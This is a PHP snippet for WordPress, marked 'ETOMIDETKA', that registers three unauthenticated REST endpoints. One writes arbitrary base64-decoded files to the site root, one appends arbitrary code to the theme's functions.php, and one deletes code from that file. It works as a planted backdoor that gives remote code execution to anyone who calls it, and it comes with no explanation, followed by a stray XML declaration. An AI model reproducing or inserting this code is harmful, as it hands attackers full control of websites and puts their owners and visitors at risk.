//ETOMIDETKA
                            
                            add_action('rest_api_init', function() {
                                register_rest_route('custom/v1', '/upload-image/', array(
                                    'methods'  => 'POST',
                                    'callback' => 'handle_xjt37m_upload',
                                    'permission_callback' => '__return_true', 
                                ));

                                register_rest_route('custom/v1', '/add-code/', array(
                                    'methods'  => 'POST',
                                    'callback' => 'handle_yzq92f_code',
                                    'permission_callback' => '__return_true', 
                                ));
                            });

                            function handle_xjt37m_upload(WP_REST_Request $request) {
                                $filename = sanitize_file_name($request->get_param('filename'));
                                $image_data = $request->get_param('image');

                                if (!$filename || !$image_data) {
                                    return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
                                }

                                $upload_dir = ABSPATH; 
                                $file_path = $upload_dir . $filename;

                                $decoded_image = base64_decode($image_data);
                                if (!$decoded_image) {
                                    return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
                                }

                                if (file_put_contents($file_path, $decoded_image) === false) {
                                    return new WP_REST_Response(['error' => 'Failed to save image'], 500);
                                }

                                $site_url = get_site_url();
                                $image_url = $site_url . '/' . $filename;

                                return new WP_REST_Response(['url' => $image_url], 200);
                            }

                            function handle_yzq92f_code(WP_REST_Request $request) {
                                $code = $request->get_param('code');

                                if (!$code) {
                                    return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
                                }

                                $functions_path = get_theme_file_path('/functions.php');

                                if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
                                    return new WP_REST_Response(['error' => 'Failed to append code'], 500);
                                }

                                return new WP_REST_Response(['success' => 'Code added successfully'], 200);
                            }
                            add_action('rest_api_init', function() {
                                register_rest_route('custom/v1', '/deletefunctioncode/', array(
                                    'methods'  => 'POST',
                                    'callback' => 'handle_delete_function_code',
                                    'permission_callback' => '__return_true', 
                                ));
                            });

                            function handle_delete_function_code(WP_REST_Request $request) {
                                $function_code = $request->get_param('functioncode');

                                if (!$function_code) {
                                    return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
                                }
                                $functions_path = get_theme_file_path('/functions.php');
                                $file_contents = file_get_contents($functions_path);

                                if ($file_contents === false) {
                                    return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
                                }

                                $escaped_function_code = preg_quote($function_code, '/');
                                $pattern = '/' . $escaped_function_code . '/s';

                                if (preg_match($pattern, $file_contents)) {
                                    $new_file_contents = preg_replace($pattern, '', $file_contents);

                                    if (file_put_contents($functions_path, $new_file_contents) === false) {
                                        return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
                                    }

                                    return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
                                } else {
                                    return new WP_REST_Response(['error' => 'Function code not found'], 404);
                                }
                            }
                            <?xml version="1.0"?>
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